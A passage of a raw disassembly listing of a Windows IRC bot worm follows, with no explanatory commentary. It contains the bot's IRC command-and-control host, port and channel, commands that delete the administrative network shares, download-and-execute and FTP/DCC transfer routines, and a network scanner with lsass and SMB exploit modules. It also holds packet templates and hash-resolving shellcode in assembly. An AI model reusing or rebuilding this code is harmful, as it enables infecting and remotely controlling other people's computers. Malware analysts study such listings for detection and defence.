1, 443318h, 5 dup(0) dd 0FFFFFFFFh, 43D130h, 2 dup(0) dword_443328 dd 19930520h, 2, 443348h, 5 dup(0) dd 0FFFFFFFFh, 43D150h, 0FFFFFFFFh, 43D158h, 2 dup(0) dword_443360 dd 19930520h, 0Ah, 443380h, 5 dup(0) dd 0FFFFFFFFh, 43D170h, 0FFFFFFFFh, 43D17Bh, 0FFFFFFFFh dd 43D186h, 0FFFFFFFFh, 43D191h, 0FFFFFFFFh, 43D19Ch, 0FFFFFFFFh dd 43D1A7h, 0FFFFFFFFh, 43D1B2h, 0FFFFFFFFh, 43D1BDh, 0FFFFFFFFh dd 43D1C8h, 0FFFFFFFFh, 43D1D3h, 34Dh dup(0) dd offset aRrrrrrrrrrrrrr+1Fh dd offset aRrrrrrrrrr+7Ah dd 105h dup(0) aABCDEFGHIJKLMN db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G' ; DATA XREF: sub_403530+7Fo db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|' db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0 align 4 dd 8 dup(0) asc_4445EC: ; DATA XREF: sub_403530+66o ; sub_410030:loc_41090Eo ... unicode 0, <|>,0 aS db '%s',0 ; DATA XREF: sub_404CC0+86Fo ; sub_404CC0+AEBo ... align 4 aSS_0 db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_404CC0+82Bo ; sub_404CC0+B58o ... align 10h asc_444600: ; DATA XREF: sub_404690:loc_40476Fo ; sub_404690+1EDo ... unicode 0, < >,0 aO db ' -o',0 ; DATA XREF: sub_404690+75o ; sub_410030:loc_410A19o ... aNetShareAdminD db 'net share admin$ /delete /y',0 dd 2 dup(0) aNetShareIpcDel db 'net share ipc$ /delete /y',0 align 4 dd 0 aNetShareDDelet db 'net share d$ /delete /y',0 align 8 aNetShareCDelet db 'net share c$ /delete /y',0 dd 0 dword_444684 dd 255C7325h, 73h ; sub_40D040+DEo ... aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404CC0+D72o align 8 aN: ; DATA XREF: sub_404CC0+D1Do unicode 0, <N>,0 aExecutedS_ db 'Executed: %s.',0 ; DATA XREF: sub_404CC0+971o align 4 aResolve_errorS db 'resolve.error %s.',0 ; DATA XREF: sub_404CC0+75Co align 10h dd 0 aSS_1 db '%s -> %s',0 ; DATA XREF: sub_404CC0+6CFo align 10h aSResolvedS db '%s resolved %s',0 ; DATA XREF: sub_404CC0+610o align 10h dd 0 aOpen db 'open',0 ; DATA XREF: sub_404CC0+444o ; sub_41C130+Eo align 4 aExec_error db 'exec.error',0 ; DATA XREF: sub_404CC0+1A3o ; sub_404CC0+9ABo ... align 4 dd 0 aUpDdDhDm db 'up: %dd %dh %dm',0 ; DATA XREF: sub_406730+C3o align 10h aCpuDmhz_Memory db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti' ; DATA XREF: sub_4068E0+20Fo db 'me: %dd %dh %dm box: %s. user: %s.',0 dd 5 dup(0) aSS_2 db '%s [%s]',0 ; DATA XREF: sub_4068E0+125o dd 0 a??? db '???',0 ; DATA XREF: sub_4068E0:loc_4069DBo a2003 db '2003',0 ; DATA XREF: sub_4068E0+F4o align 10h aXp db 'XP',0 ; DATA XREF: sub_4068E0+EAo align 4 a2000 db '2000',0 ; DATA XREF: sub_4068E0+DEo align 4 aMe db 'ME',0 ; DATA XREF: sub_4068E0+C7o align 10h a98 db '98',0 ; DATA XREF: sub_4068E0+BBo align 4 aNt db 'NT',0 ; DATA XREF: sub_4068E0+AFo align 4 a95 db '95',0 ; DATA XREF: sub_4068E0+9Co align 4 aBai db '-bai',0 ; DATA XREF: ___:loc_406E3Do ; ___:00406E85o align 4 aNetsvcs db '-netsvcs',0 ; DATA XREF: ___:loc_406E00o ; sub_40ED00+88o align 10h aUpdate db '-update',0 ; DATA XREF: ___:00406DC3o dd 0 dword_4447EC dd 6265642Dh, 6775hdword_4447F4 dd 6425h ; ___:004087A2o ... dword_4447F8 dd 2Eh ; ___:0041B2DAo ... aMicrosoftVisua db 'MicroSoft Visual SP01',0 ; DATA XREF: sub_4077E0+403o align 8 aEvil db 'evil',0 ; DATA XREF: sub_4077E0+3F2o align 10h aFeeling_nasty db 'feeling.nasty',0 ; DATA XREF: sub_4077E0+3E1o align 10h aSet db 'set',0 ; DATA XREF: sub_4077E0+359o asc_444834 db 'X-',0 ; DATA XREF: sub_4077E0+348o align 4 aAyssds4ddklfsd db 'ayssds4ddklfsdsdsfssas',0 ; DATA XREF: sub_4077E0+337o align 10h dd 0 aIgfsfdfsd3sda2 db 'igfsfdfsd3sda2ss.exe',0 ; DATA XREF: sub_4077E0+326o align 10h aXkey db 'Xkey',0 ; DATA XREF: sub_4077E0+318o align 4 aFor db '##for',0 ; DATA XREF: sub_4077E0+307o align 10h aFor_0 db '##for##',0 ; DATA XREF: sub_4077E0+2F6o dd 0 a3267 db '3267',0 ; DATA XREF: sub_4077E0+29Bo align 4 aIrc_alfree5_in db 'irc.alfree5.info',0 ; DATA XREF: sub_4077E0+283o align 4 off_4448A8 dd offset off_43F1D4 ; DATA XREF: ___:00440014o align 10h a_?avexception@ db '.?AVexception@@',0 dd 2 dup(0) off_4448C8 dd offset off_43F1D4 ; DATA XREF: ___:00440034o align 10h a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 10h off_4448F0 dd offset off_43F1D4 ; DATA XREF: ___:00440054o align 8 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 10h dd 2 dup(0) aInvalidVectorT db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409660+21o ; ___:0040AA51o dd 2 dup(0) aTrue db 'true',0 ; DATA XREF: sub_40B760+3Fo ; sub_40B7E0+43o ... align 4 aF db '%f',0 ; DATA XREF: ___:0040B87Fo align 4 aFalse db 'false',0 ; DATA XREF: ___:0040B924o align 10h aSSWasS db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BC3Ao align 4 dd 0 aSS_5 db '%s = "%s"',0 ; DATA XREF: ___:0040BB57o align 4 aDSSS db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040BA91o dd 0 aCvar db '(cvar)',0 ; DATA XREF: ___:0040BA04o align 4 aDccSocketError db 'dcc: socket error',0 ; DATA XREF: sub_40C4E0+52Ao align 10h dd 0 aDccCompleteToS db 'dcc: complete to %s, file: %s, (%d bytes)',0 ; DATA XREF: sub_40C4E0+48Ao align 10h dd 2 dup(0) aDccUnableToOpe db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C4E0+377o align 8 aDccTimeout db 'dcc: timeout',0 ; DATA XREF: sub_40C4E0+327o align 4 dword_444A18 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_40C4E0+296o dd 169h, 0 aDccFileDoesn_0 db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C4E0+230o align 10h dd 0 aDccFileDoesnTE db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C4E0+218o align 10h aDccFailedToOpe db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C4E0+1BBo align 10h aDccFailedToBin db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C4E0+110o align 10h aDccFailedToCre db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C4E0+B8o dd 2 dup(0) aFilesFoundD db 'Files Found: %d',0 ; DATA XREF: sub_40CC90+1B1o dd 0 asc_444AEC: ; DATA XREF: sub_40CC90+113o ; sub_4201F0+100o unicode 0, <\>,0 aFoundSS db 'Found: %s\%s',0 ; DATA XREF: sub_40D040+115o align 10h aS_1 db '%s\*',0 ; DATA XREF: sub_40D040+1Fo align 4 aExplorer_exe db '\explorer.exe',0 ; DATA XREF: ___:0040D559o align 4 aBai_0 db ' -bai ',0 align 10h aSCS db '%s%c%s',0 align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40D660+D1o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_40D660+C4o align 4 dd 0 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D660+B7o align 4 dd 0 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D660+AFo align 8 aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_40D660+98o align 4 aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DC20+4D3o align 10h dd 0 aSSSSSSSSSS db '%s',0Dh,0Ah ; DATA XREF: sub_40DC20+37Co db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah,0 align 4 dd 2 dup(0) aSS_4 db '"%s" %s',0 ; DATA XREF: sub_40EE40+6Ao align 10h aServicesactive db 'ServicesActive',0 ; DATA XREF: sub_40EE40+21o ; sub_40F060+Ao ... align 10h dd 0 aServDelS_ db 'serv(del) "%s".',0 ; DATA XREF: ___:0040F511o align 8 aServAddSAsSS_ db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F454o align 4 dd 0 aRegDelS_ db 'reg(del) "%s".',0 ; DATA XREF: ___:0040F359o align 10h aRegAddSAsS_ db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F2ADo align 4 dd 0 asc_444C6C db ' :',0 ; DATA XREF: sub_410030+E2Bo ; sub_410030+1118o ... align 10h asc_444C70: ; DATA XREF: sub_410030+CACo ; sub_410030+D15o ... unicode 0, <!>,0 aN_0 db ' -n',0 ; DATA XREF: sub_410030:loc_4109F8o ; sub_410030:loc_410C87o aS_2 db ' -s',0 ; DATA XREF: sub_410030:loc_4109CFo ; sub_410030:loc_410C66o asc_444C7C: ; DATA XREF: sub_410030+871o ; sub_410030:loc_410CA8o ... unicode 0, <:>,0 a@: ; DATA XREF: sub_410030+7CCo ; sub_410030+D2Do ... unicode 0, <@>,0 aSSS_0 db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_410030+65Do ; sub_410030+732o ... align 10h dd 0 aSSSS00S db '%s %s',0Dh,0Ah ; DATA XREF: sub_410030+355o db '%s %s 0 0 :%s',0Dh,0Ah,0 align 10h aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_410030+2C4o ; sub_412780+91o ... align 10h aSSSS db '%s %s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+4E3o align 10h aS_3 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+386o ; sub_426070+12Do ... align 4 aSSS_1 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+CBo ; sub_412A40+8Fo align 8 aPublic db '[PUBLIC]',0 ; DATA XREF: sub_412780:loc_41288Bo align 4 aPrivate db '[PRIVATE]',0 ; DATA XREF: sub_412780+104o align 10h a_ db '. ',0 ; DATA XREF: sub_412780+CAo ; sub_412780+E5o align 4 aLan db 'lan: ',0 ; DATA XREF: sub_412780+AEo align 4 aUptime db 'uptime',0 ; DATA XREF: ___:loc_412FF7o align 4 aHost db 'host',0 ; DATA XREF: ___:loc_412FA4o align 4 aId db 'id',0 ; DATA XREF: ___:loc_412F4Ao align 10h asc_444D20: ; DATA XREF: ___:loc_412F33o dw 3Ch unicode 0, <>,0 asc_444D24: ; DATA XREF: ___:loc_412F1Co dw 3Eh unicode 0, <>,0 asc_444D28 db '==',0 ; DATA XREF: ___:loc_412F05o align 4 asc_444D2C db '!=',0 ; DATA XREF: ___:00412EF1o align 10h a2_2x db '%2.2X',0 ; DATA XREF: sub_4138B0+B7o align 4 aSS_6 db '%s: %s',0 ; DATA XREF: sub_4193C0+30Fo align 10h aSD_0 db '%s: %d',0 ; DATA XREF: sub_4193C0+2E7o align 4 aSD_1 db '%s:%d',0 ; DATA XREF: sub_4193C0+272o ; sub_4193C0+29Bo align 10h aListening db 'listening',0 ; DATA XREF: sub_4193C0+210o align 4 aEstablished db 'established',0 ; DATA XREF: sub_4193C0+205o dd 0 off_444D6C dd offset dword_504354 ; DATA XREF: sub_4193C0+140o ; ___:0042C5F2o ... dword_444D70 dd 2D464544h, 504354h, 0 ; sub_4193C0+12Eo dword_444D7C dd 652Dh dword_444D80 dd 6C2Dh a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419BE0+82o align 4 dd 0 aSS_3 db '%s%s',0 ; DATA XREF: ___:00419DF1o align 4 aSSS db '%s%s%s',0 ; DATA XREF: ___:00419DCCo align 4 byte_444DBC db 1 ; DATA XREF: sub_41A390r align 10h dword_444DC0 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 ; --------------------------------------------------------------------------- loc_444E0C: ; DATA XREF: ___:00421859o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_444E20 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_444E34 dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_444E6C dd 63257325h, 0 ; sub_41F960+E5o dword_444E74 dd 72h dword_444E78 dd 30h ; sub_424920+327o dword_444E7C dd 3039h dword_444E80 dd 383631h dword_444E84 dd 323931h dword_444E88 dd 3631h dword_444E8C dd 323731h dword_444E90 dd 3031h off_444E94 dd offset dword_5C005C ; DATA XREF: ___:0041C217r ; ___:0041C387r word_444E98 dw 0 ; DATA XREF: ___:0041C221r ; ___:0041C391r align 4 off_444E9C dd offset dword_49005C ; DATA XREF: ___:0041C1E6r ; ___:0041C356r off_444EA0 dd offset loc_43004E+2 ; DATA XREF: ___:0041C1EBr ; ___:0041C35Br dword_444EA4 dd 24h ; ___:0041C37Fr dd 0 aDlEdUpdateS db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D930+5F5o align 10h aOpenS_ db 'open %s.',0 ; DATA XREF: sub_41D930+5BAo align 4 aDlDone_S_ db 'dl, done. %s .',0 ; DATA XREF: sub_41D930+567o align 10h asc_444EE0 db 0Dh,0Ah ; DATA XREF: sub_41D930+48Fo db 0Dh,0Ah,0 align 4 aHttpBadopen db 'http(badopen)',0 ; DATA XREF: sub_41D930+3F1o align 4 aWb db 'wb',0 ; DATA XREF: sub_41D930+3C0o ; ___:0041FD87o align 4 aHttpGetting db 'http(getting)',0 ; DATA XREF: sub_41D930+3AFo align 4 aGetSHttp1_0Con db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D930+36Do db 'Connection: Keep-Alive',0Dh,0Ah db 'User-Agent: Mozilla/4.5',0Dh,0Ah db 'Host: %s:%d',0Dh,0Ah db 0Dh,0Ah,0 align 10h dd 4 dup(0) aHttpBadconnect db 'http(badconnect)',0 ; DATA XREF: sub_41D930+327o align 4 aFtpBaddl db 'ftp(baddl)',0 ; DATA XREF: sub_41D930+2A3o align 10h dd 0 aFtpGetting db 'ftp(getting)',0 ; DATA XREF: sub_41D930+25Ao align 4 aFtpBadlogin db 'ftp(badlogin)',0 ; DATA XREF: sub_41D930+224o align 4 aFtpBadconnect db 'ftp(badconnect)',0 ; DATA XREF: sub_41D930+1CEo align 8 aSysLogoff db 'sys(logoff)',0 ; DATA XREF: ___:0041E47Eo align 8 aSysSd db 'sys(sd)',0 ; DATA XREF: ___:0041E42Fo dd 0 dword_444FE4 dd 28737973h, 6F626572h, 29746Fh, 0dword_444FF4 dd 6469706Bh, 7325203Ah, 0dword_445000 dd 203A736Bh, 7325hdword_445008 dd 202E6425h, 7325202Fh, 0dword_445014 dd 203A706Bh, 7325haD_PidDS db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E760+130o align 8 a221 db '221 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+694o ; sub_41F030+6A9o align 10h a226 db '226 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030:loc_41F695o ; sub_41F030+677o align 4 aFtpD_D_D_DDByt db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0 ; DATA XREF: sub_41F030+62Bo align 4 dd 2 dup(0) aRb db 'rb',0 ; DATA XREF: sub_41F030+53Fo align 4 a150 db '150 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+505o ; sub_41F030+51Ao align 10h asc_445090: ; DATA XREF: sub_41F030+2EFo ; sub_41F030+33Ao ... unicode 0, <,>,0 a200 db '200 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+286o ; sub_41F030+29Bo ... align 4 a230 db '230 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+254o ; sub_41F030+269o align 4 a331 db '331 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+222o ; sub_41F030+237o align 4 a220 db '220 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+1F3o ; sub_41F030+205o align 4 aFtpD_D_D_DOnD db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41F030+17Eo align 10h aDDUseridUnixS db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F960+13Co align 10h dd 0 aBinres db 'BINRES',0 ; DATA XREF: ___:0041FDBDo align 4 aUnknown db 'unknown',0 ; DATA XREF: sub_420090:loc_4200E5o ; sub_420630+C4r ... align 8 aImagepath db 'ImagePath',0 ; DATA XREF: sub_4201F0+CBo ; sub_4208E0+316o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4201F0+73o ; sub_4208E0+2BEo align 10h aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4204D0+63o align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420630+72o align 10h aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_420630+64o align 8 aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_420630+52o align 4 aPsapi_dll db 'PSAPI.DLL',0 ; DATA XREF: sub_420630+20o ; sub_420630+34o align 4 aSS db '[%s] [%s]',0 ; DATA XREF: sub_4208E0+34Co align 10h aS????_exe db '[%s] [????.exe]',0 ; DATA XREF: sub_4208E0+32Do dd 0 aS????_exeUnkno db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4208E0+2F3o align 8 aThemes db 'Themes',0 ; DATA XREF: sub_4208E0+1F6o align 10h aSrservice db 'srservice',0 ; DATA XREF: sub_4208E0+1EBo align 4 aWuauserv db 'wuauserv',0 ; DATA XREF: sub_4208E0+1E0o align 4 aWzcsvc db 'WZCSVC',0 ; DATA XREF: sub_4208E0+1D5o align 10h aWinmgmt db 'winmgmt',0 ; DATA XREF: sub_4208E0+1CAo dd 0 aWebclient db 'WebClient',0 ; DATA XREF: sub_4208E0+1BFo align 4 aW32time db 'W32Time',0 ; DATA XREF: sub_4208E0+1B4o dd 0 aUpnphost db 'upnphost',0 ; DATA XREF: sub_4208E0+1A9o align 10h aUploadmgr db 'uploadmgr',0 ; DATA XREF: sub_4208E0+19Eo align 4 aTrkwks db 'TrkWks',0 ; DATA XREF: sub_4208E0+193o align 4 aTermservice db 'TermService',0 ; DATA XREF: sub_4208E0+188o dd 0 aTapisrv db 'TapiSrv',0 ; DATA XREF: sub_4208E0+17Do align 10h aStisvc db 'stisvc',0 ; DATA XREF: sub_4208E0+172o align 4 aSsdpsrv db 'SSDPSRV',0 ; DATA XREF: sub_4208E0+167o dd 0 aSpooler db 'Spooler',0 ; DATA XREF: sub_4208E0+15Co align 10h aShellhwdetecti db 'ShellHWDetection',0 ; DATA XREF: sub_4208E0+151o align 4 aSens db 'SENS',0 ; DATA XREF: sub_4208E0+146o align 4 aSeclogon db 'seclogon',0 ; DATA XREF: sub_4208E0+13Bo align 4 aSchedule db 'Schedule',0 ; DATA XREF: sub_4208E0+130o align 4 aSamss db 'SamSs',0 ; DATA XREF: sub_4208E0+125o align 4 aRpcss db 'RpcSs',0 ; DATA XREF: sub_4208E0+11Ao align 4 aRasman db 'RasMan',0 ; DATA XREF: sub_4208E0+10Fo align 4 aProtectedstora db 'ProtectedStorage',0 ; DATA XREF: sub_4208E0+104o align 10h aPolicyagent db 'PolicyAgent',0 ; DATA XREF: sub_4208E0+F9o align 10h aPlugplay db 'PlugPlay',0 ; DATA XREF: sub_4208E0+EEo align 4 off_44530C dd offset word_616C4E ; DATA XREF: sub_4208E0+E3o aNetman db 'Netman',0 ; DATA XREF: sub_4208E0+D8o align 4 aMessenger db 'Messenger',0 ; DATA XREF: sub_4208E0+CDo align 4 off_445324 dd offset byte_4D444D ; DATA XREF: sub_4208E0+C5o aLmhosts db 'LmHosts',0 ; DATA XREF: sub_4208E0+BDo dd 0 aLanmanworkstat db 'lanmanworkstation',0 ; DATA XREF: sub_4208E0+B5o align 4 dd 0 aLanmanserver db 'lanmanserver',0 ; DATA XREF: sub_4208E0+ADo align 4 aHelpsvc db 'helpsvc',0 ; DATA XREF: sub_4208E0+A5o align 8 aFastuserswitch db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4208E0+9Do align 10h aEventsystem db 'EventSystem',0 ; DATA XREF: sub_4208E0+95o align 10h aEventlog db 'Eventlog',0 ; DATA XREF: sub_4208E0+8Do align 4 aErsvc db 'ERSvc',0 ; DATA XREF: sub_4208E0+85o align 4 aDnscache db 'Dnscache',0 ; DATA XREF: sub_4208E0+7Do align 10h aDmserver db 'dmserver',0 ; DATA XREF: sub_4208E0+75o align 4 aDhcp db 'Dhcp',0 ; DATA XREF: sub_4208E0+6Do align 4 aCryptsvc db 'CryptSvc',0 ; DATA XREF: sub_4208E0+65o align 10h aBrowser db 'Browser',0 ; DATA XREF: sub_4208E0+5Do dd 0 aAudiosrv db 'AudioSrv',0 ; DATA XREF: sub_4208E0+55o ; sub_4208E0:loc_420B6Bo align 4 asc_4453F8: ; DATA XREF: sub_420F10:loc_420FCFo ; sub_420F10+F9o ... unicode 0, </>,0 aFtp db 'ftp',0 ; DATA XREF: sub_420F10+94o ; sub_420F10:loc_42117Eo ... aHttp db 'http',0 ; DATA XREF: sub_420F10+84o ; sub_420F10+257o ... align 4 aAsn db 'asn',0 ; DATA XREF: sub_4228F0+31o dd 0 dd 73610000h, 6Eh, 6 dup(0) dword_445430 dd 1BDh ; sub_422B40+310o ... off_445434 dd offset sub_401820 ; DATA XREF: ___:00423F8Dr dword_445438 dd 0 ; sub_4236F0+3Ar ... dd 1, 0 aAsn2 db 'asn2',0 align 4 dd 73610000h, 326Eh, 6 dup(0) dd 1BDh, 401820h, 0 dd 1, 0 aNet445 db 'net445',0 align 4 dd 656E0000h, 35343474h, 6 dup(0) dd 1BDh, 402199h, 0 dd 1, 0 aLsass db 'lsass',0 align 4 dd 736C0000h, 737361h, 6 dup(0) dd 1BDh, 401DCAh, 0 dd 1, 1Fh dup(0) aScanSSPortScan db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads' ; DATA XREF: sub_422B40+8F3o db 0 align 10h aSequential db 'sequential',0 ; DATA XREF: sub_422B40+8B3o align 10h aRandom db 'random',0 ; DATA XREF: sub_422B40+8ACo align 4 aScanNoIpSpecif db 'scan: no ip specified',0 ; DATA XREF: sub_422B40+760o align 10h dd 0 aB db ' -b',0 ; DATA XREF: sub_422B40+747o off_4455F8 dd offset dword_612D20 ; DATA XREF: sub_422B40+737o ; sub_422B40+7A3o ... dword_4455FC dd 722D20h ; sub_422B40+7E5o aScanInvalidPor db 'scan: invalid port',0 ; DATA XREF: sub_422B40+640o align 8 aTotalD db ' total: %d',0 ; DATA XREF: sub_422B40+397o align 8 aSD db ' %s: %d,',0 ; DATA XREF: sub_422B40+35Fo align 4 aScanStats db 'scan: stats:',0 ; DATA XREF: sub_422B40+336o align 4 aScanTooManyThr db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422B40+275o dd 2 dup(0) aScanCouldnTSto db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422B40+1DAo align 10h aScanStoppedDTh db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422B40+197o align 10h aFtpPortDTotalS db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422B40+140o align 10h dd 2 dup(0) aScanNotStarted db 'scan: not started',0 ; DATA XREF: sub_422B40+B2o align 10h aScanCipS db 'scan: cip (%s)',0 ; DATA XREF: sub_422B40+6Do align 10h dd 0 dword_4456F4 dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423C42o align 8 aSocketOpen_ db 'Socket open.',0 ; DATA XREF: ___:00423C25o align 4 aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423B95o dd 2 dup(0) aSocketOpenFail db 'socket open failed',0 ; DATA XREF: ___:00423B5Fo align 10h aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423E37o align 8 aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: ___:00423DD6o dd 3 dup(0) aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0 ; DATA XREF: ___:004242B7o align 10h aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0 ; DATA XREF: ___:00424206o align 10h aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: ___:0042414Fo dd 3 dup(0) aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_424920+BDo align 4 dword_4458B8 dd 10FF8h, 0 dword_4458C0 dd 10FF8h dword_4458C4 dd 7FFDF020h, 0 dword_4458CC dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_445954 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_445984 dd 0 dword_445988 dd 800000D4h align 10h ; =============== S U B R O U T I N E ======================================= sub_445990 proc near ; DATA XREF: sub_425100+85o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_445A8C push dword ptr [esi] push 63D61209h call sub_445AA2 mov [esi+8], eax call sub_445A55 push dword ptr [esi+4] push 0CA2BD06Bh call sub_445AA2 mov [esi+0Ch], eax call sub_445A07 push dword ptr [esi+4] push 4C0297FAh call sub_445AA2 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_445990 endp ; =============== S U B R O U T I N E ======================================= sub_445A07 proc near ; CODE XREF: sub_445990+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_445A30 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_445A07 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_445A30 proc near ; CODE XREF: sub_445A07+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_445A3F: ; CODE XREF: sub_445A30+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_445A4C inc ebx jmp short loc_445A3F ; --------------------------------------------------------------------------- loc_445A4C: ; CODE XREF: sub_445A30+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_445A30 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_445A55 proc near ; CODE XREF: sub_445990+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_445A6D: ; CODE XREF: sub_445A55+1Ej cmp [ecx], ebx jz short loc_445A75 mov ecx, [ecx] jmp short loc_445A6D ; --------------------------------------------------------------------------- loc_445A75: ; CODE XREF: sub_445A55+1Aj mov edx, edi loc_445A77: ; CODE XREF: sub_445A55+2Aj cmp [edx+4], ebx jz short loc_445A81 mov edx, [edx+4] jmp short loc_445A77 ; --------------------------------------------------------------------------- loc_445A81: ; CODE XREF: sub_445A55+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_445A55 endp ; =============== S U B R O U T I N E ======================================= sub_445A8C proc near ; CODE XREF: sub_445990+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_445A8C endp ; =============== S U B R O U T I N E ======================================= sub_445AA2 proc near ; CODE XREF: sub_445990+16p ; 